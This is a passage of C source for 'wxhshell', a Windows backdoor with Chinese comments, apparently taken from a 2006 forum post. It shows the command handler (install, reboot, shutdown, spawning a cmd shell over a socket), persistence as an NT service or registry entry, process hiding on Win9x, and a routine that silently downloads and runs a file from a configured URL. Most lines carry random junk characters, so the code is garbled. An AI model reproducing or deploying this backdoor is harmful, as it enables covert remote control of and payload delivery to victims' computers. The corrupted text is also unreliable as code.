  x%Y a*T  
  // 帮助 pOe`*2[  
  case '?': { \Q BpgMi(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F<'l'AsC-  
    break; 77[;J  
  } $9u  
  // 安装 }sN9QgE  
  case 'i': { ():?FJ M  
    if(Install()) `EW_pwZPA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D_;n4<|.  
    else bT6)(lm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); frO/ nx|9  
    break; =;?PVAdu%#  
    } C%7,#}[U/  
  // 卸载 -W"0,.Dvg  
  case 'r': {  B*~Bm.  
    if(Uninstall()) .j$bCKXGx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XIW: Nk!S  
    else 5 WNRo[`7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j`&i4K:  
    break; f0'Wq^^  
    } NGeeD?2~  
  // 显示 wxhshell 所在路径 .KMi)1L)  
  case 'p': { hx;kEJ  
    char svExeFile[MAX_PATH]; !`Yi{}1_  
    strcpy(svExeFile,"\n\r"); ~0$F V  
      strcat(svExeFile,ExeFile); Y8xnvK*  
        send(wsh,svExeFile,strlen(svExeFile),0); hb\Y)HSp/  
    break; sNpBTG@{l  
    } 3B|-xq;]I  
  // 重启 ^%/5-0?xE  
  case 'b': { Xr6 !b:UX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0\<-R  
    if(Boot(REBOOT)) !rqR]nd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q]'!FmXf  
    else { g#2X'%&+  
    closesocket(wsh); #\;w::  
    ExitThread(0); ^"#rDP"v  
    } m8A_P:MQq  
    break; :pu{3-n.  
    } ~,65/O  
  // 关机 ^<Tp-,J$EN  
  case 'd': { >^ar$T;Ys  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bj[/ tQ  
    if(Boot(SHUTDOWN)) oVsazYJ|?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >RnMzH/9  
    else { ?YykCJJ ~@  
    closesocket(wsh); V-r<v1}M  
    ExitThread(0); [1MEA;  
    } Ax*~[$$~%  
    break; 'U0I.x(  
    } # Kr.!uD  
  // 获取shell ~8{3Fc0  
  case 's': { _ 7.y4zQJ  
    CmdShell(wsh); 6+z]MT  
    closesocket(wsh); sB/s17ar  
    ExitThread(0); i?=.; 0[|  
    break; 1 *CWHs  
  } K7VG\Ec  
  // 退出 * XGBym  
  case 'x': { -y.AJ~T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5/ju it  
    CloseIt(wsh); [wG%@0\  
    break; p00AcUTq  
    } ;qK6."b`;  
  // 离开 [0#hgGO]P  
  case 'q': { 0Wm-` ZA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c `; LF'!  
    closesocket(wsh); lHqx}n@e  
    WSACleanup(); (*BW/.Fq  
    exit(1); -"H4brj;G  
    break; `%p6i| _Q  
        } LL [>Uu?Y  
  } .Tv(1HAc2l  
  } 4pT|r6!<  
IBh~(6  
  // 提示信息 2&URIQg*J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w\*/(E<:  
} 0&@ pX~h:  
  } @~3c;9LkY  
N@)~j+Pz  
  return; QovC*1'  
}  0 XzO`*  
Y_sVe  
// shell模块句柄 q+~CA[H5K  
int CmdShell(SOCKET sock) 3PffQ,c[~  
{ &J:)*EjVl5  
STARTUPINFO si; W<o0Z OO  
ZeroMemory(&si,sizeof(si)); Beg5[4@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G - WJlu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K/cK6Yr  
PROCESS_INFORMATION ProcessInfo; ?%Fk0E#>2  
char cmdline[]="cmd"; Sw'?$j^3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {fD#=  
  return 0; ^j}sS!p  
} Iq \oB  
0B/a$NC  
// 自身启动模式 or`stBx  
int StartFromService(void) *pp1Wa7O  
{ yfQE8v+  
typedef struct :X*LlN  
{ 8 GN{*Hg  
  DWORD ExitStatus; 8ZfIh   
  DWORD PebBaseAddress; 3=7h+ZgB  
  DWORD AffinityMask; yG$@!*|  
  DWORD BasePriority; n4y6Ua9m{  
  ULONG UniqueProcessId; !H\GHA'DO]  
  ULONG InheritedFromUniqueProcessId; y/eX(l<{  
}   PROCESS_BASIC_INFORMATION; I3Xh[% -!  
tC-KW~&  
PROCNTQSIP NtQueryInformationProcess; [)vwg`]   
*?Ef}:]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a@ }r[0O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U-<"i6mg ?  
+Q0-jS#d  
  HANDLE             hProcess; aZ`ags ofk  
  PROCESS_BASIC_INFORMATION pbi; LfXr(2u  
^VPl>jTg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,s&~U<Z  
  if(NULL == hInst ) return 0; o;_bs~}y  
Hd`p_?3]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #2ASzCe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AiHf?"EVT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q.dy $`\  
G>>u#>0  
  if (!NtQueryInformationProcess) return 0; FD+PD:cQn  
E?U]w0g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LlY*r+Cgl1  
  if(!hProcess) return 0; <dPxy`_  
g_c)Ts(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~9YA!48  
L#q9_-(#  
  CloseHandle(hProcess); }_l -'t  
~(OIo7#;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h^$}1[  
if(hProcess==NULL) return 0; ey\{C`(__y  
9|A-oS  
HMODULE hMod; Cy:`pYxhd  
char procName[255]; Q4LlToHn  
unsigned long cbNeeded; ,T*_mDVY  
7P^{*!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1$D`Z/N"A  
C!k9JAa$Z  
  CloseHandle(hProcess); ww t()  
|$?Ux,(6  
if(strstr(procName,"services")) return 1; // 以服务启动 uPC qO+f  
 `pd   
  return 0; // 注册表启动 S*m`'  
} yki51rOI*  
K0RYI69_  
// 主模块 Fxth> O`$  
int StartWxhshell(LPSTR lpCmdLine) A~GtK\=;  
{ UtBlP+bE?y  
  SOCKET wsl; hN:F8r+DG  
BOOL val=TRUE; !:O/|.+Vmf  
  int port=0; nB@iQxcz  
  struct sockaddr_in door; y(3c{y@~X  
@f5@0A\0  
  if(wscfg.ws_autoins) Install(); Ie&b <k  
<+-Yh_D  
port=atoi(lpCmdLine); VXc+Wm*W  
Ei9_h  
if(port<=0) port=wscfg.ws_port; q]i(CaKh  
?%xhe  
  WSADATA data; <[y$D=n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yg+IkQDf4U  
<f.>jjwFE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JXLWRe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y!= k  
  door.sin_family = AF_INET; Y7kb1UG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vy% :\p+  
  door.sin_port = htons(port); S\3AW,c]w  
oWx_O-_._  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P"bknXL  
closesocket(wsl); "0'*q<8  
return 1; W`Q$t56  
} q M_/  
Jny)uo8  
  if(listen(wsl,2) == INVALID_SOCKET) { ckf<N9  
closesocket(wsl); t8DL9RW'  
return 1; 1qLl^DW  
} o=-Vt,2{  
  Wxhshell(wsl); p2Dh3)&  
  WSACleanup(); b'7z DZI]  
5 PGlR!^  
return 0; <}EV*`w4  
3`fJzS%O  
} wc7mJxJxA  
qY$*#*Q  
// 以NT服务方式启动 BKC7kDK3H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g5tjj.  
{ X-)RU?  
DWORD   status = 0; .~.``a  
  DWORD   specificError = 0xfffffff; @K$VV^wp  
OU,PO2xX9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;-KA UgL2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; + mfe*'AU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4<G?  
  serviceStatus.dwWin32ExitCode     = 0; ?$|uT  
  serviceStatus.dwServiceSpecificExitCode = 0; [j)\v^m  
  serviceStatus.dwCheckPoint       = 0; bBUbw*DF)  
  serviceStatus.dwWaitHint       = 0; $J QWfGwR  
n7IL7?!o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K*R)V/B/l  
  if (hServiceStatusHandle==0) return; `Yx-~y5X  
mje<d"bW  
status = GetLastError(); Gb(C#,xbK  
  if (status!=NO_ERROR) << 3 a<I  
{ {&2$[g=[ ^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =X-^YG3x  
    serviceStatus.dwCheckPoint       = 0; l GdM80f  
    serviceStatus.dwWaitHint       = 0; |@ikx{W  
    serviceStatus.dwWin32ExitCode     = status; [YC=d1F5  
    serviceStatus.dwServiceSpecificExitCode = specificError; XR*Q|4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J=I:T2bV&s  
    return; W8w3~  
  } :GU,EDps  
C=fsJ=a5;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2R^O,Vu*W  
  serviceStatus.dwCheckPoint       = 0; U't E^W  
  serviceStatus.dwWaitHint       = 0; lj .nCV_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yGU .AM  
} S8 :"<B)  
7OB%A&  
// 处理NT服务事件,比如:启动、停止 NF6X- ,c d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7FAIew\r  
{ L2KG0i`+  
switch(fdwControl) fJaubDxa  
{ !X^Hi=aV  
case SERVICE_CONTROL_STOP: >A-<ZS*N  
  serviceStatus.dwWin32ExitCode = 0; $:Rn;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @.'z* |z  
  serviceStatus.dwCheckPoint   = 0; K&*iw`  
  serviceStatus.dwWaitHint     = 0; Bd{4Ae\_+g  
  { ~A6"sb=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?a S%  
  } m9Ax\lf  
  return; >*IN  
case SERVICE_CONTROL_PAUSE: ^$!987"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _2b9QP p  
  break; 7KU~(?|:h  
case SERVICE_CONTROL_CONTINUE: - a y5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Guh%eR'Wt  
  break; cB#nsu>  
case SERVICE_CONTROL_INTERROGATE: %?bcT[|3  
  break; n-$VUo  
}; Z`Pd2VRp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Gjq/L/x  
} Ur^j$B}  
{Hl[C]25X  
// 标准应用程序主函数 Cs wE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3o*FPO7?  
{ 5o#Yt  
w1r$='*I  
// 获取操作系统版本 ,w{m3;]_%  
OsIsNt=GetOsVer(); ?vgH"W~3>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K^zDNIQU  
k6!4Zz_8  
  // 从命令行安装 P}V=*g  
  if(strpbrk(lpCmdLine,"iI")) Install(); =oX>Ph+ P  
; dd Q/  
  // 下载执行文件 XX6 T$pA6  
if(wscfg.ws_downexe) { 3xNMPm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fQ+\;iAU  
  WinExec(wscfg.ws_filenam,SW_HIDE); .R5y:O  
} /qU>5;  
-Xz&}QA  
if(!OsIsNt) { #?[.JD51l  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]3B%8  
HideProc(); PWB(5 f?  
StartWxhshell(lpCmdLine); cCY/gEv  
} YE}s  
else ifK%6o6  
  if(StartFromService()) C`V)VJM  
  // 以服务方式启动 ,FZT~?  
  StartServiceCtrlDispatcher(DispatchTable); 1mH%H*#  
else (*\jbK  
  // 普通方式启动 ] asBd"  
  StartWxhshell(lpCmdLine); FP^{=0  
Z5(enTy-  
return 0; Thr*^0$C  
}
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只看该作者 1 发表于: 2006-10-10
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